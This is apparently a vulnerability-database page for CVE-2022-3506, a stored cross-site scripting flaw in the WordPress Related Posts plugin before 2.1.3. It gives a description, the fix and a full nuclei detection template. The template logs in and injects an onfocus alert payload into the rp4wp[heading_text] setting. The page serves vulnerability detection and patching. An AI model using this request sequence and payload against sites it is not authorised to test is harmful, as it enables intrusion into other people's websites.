HexBrain

Browse / CVEs / CVE-2022-3506

CVE-2022-3506· never5 / related posts· CWE-79

WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting

mediumseverity
5.4CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that can allow an attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.

Fix

Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=rp4wp ; POST /wp-admin/options.php ; GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true
Positive when: contains(header_4, 'text/html') and status_code_4 == 200 and contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>") and contains(body_4, 'The amount of automatically')

Run it with nuclei: nuclei -id CVE-2022-3506 -u <target>

The full check
id: CVE-2022-3506

info:
  name: WordPress Related Posts <2.1.3 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    WordPress Related Posts plugin prior to 2.1.3 contains a cross-site scripting vulnerability in the rp4wp[heading_text] parameter. User input is not properly sanitized, allowing the insertion of arbitrary code that  can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement.
  remediation: |
    Update to the latest version of the WordPress Related Posts plugin (2.1.3 or higher) to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828/
    - https://huntr.dev/bounties/08251542-88f6-4264-9074-a89984034828
    - https://github.com/barrykooij/related-posts-for-wp/commit/37733398dd88863fc0bdb3d6d378598429fd0b81
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3506
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-3506
    cwe-id: CWE-79
    epss-score: 0.01625
    epss-percentile: 0.76339
    cpe: cpe:2.3:a:never5:related_posts:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: never5
    product: related_posts
    framework: wordpress
  tags: cve2022,cve,wordpress,wp,wp-plugin,relatedposts,xss,authenticated,huntr,never5,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=rp4wp HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/options.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option_page=rp4wp&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Drp4wp&rp4wp%5Bautomatic_linking%5D=1&rp4wp%5Bautomatic_linking_post_amount%5D=3&rp4wp%5Bheading_text%5D=%22+autofocus+onfocus%3Dalert%28document.domain%29%3E&rp4wp%5Bexcerpt_length%5D=15&rp4wp%5Bcss%5D=.rp4wp-related-posts+ul%7Bwidth%3A100%25%3Bpadding%3A0%3Bmargin%3A0%3Bfloat%3Aleft%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%7Blist-style%3Anone%3Bpadding%3A0%3Bmargin%3A0%3Bpadding-bottom%3A20px%3Bclear%3Aboth%3B%7D%0D%0A.rp4wp-related-posts+ul%3Eli%3Ep%7Bmargin%3A0%3Bpadding%3A0%3B%7D%0D%0A.rp4wp-related-post-image%7Bwidth%3A35%25%3Bpadding-right%3A25px%3B-moz-box-sizing%3Aborder-box%3B-webkit-box-sizing%3Aborder-box%3Bbox-sizing%3Aborder-box%3Bfloat%3Aleft%3B%7D
      - |
        GET /wp-admin/options-general.php?page=rp4wp&settings-updated=true HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(header_4, 'text/html')"
          - "status_code_4 == 200"
          - 'contains(body_4, "value=\"\" autofocus onfocus=alert(document.domain)>")'
          - "contains(body_4, 'The amount of automatically')"
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-z]+)" />'
        internal: true
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from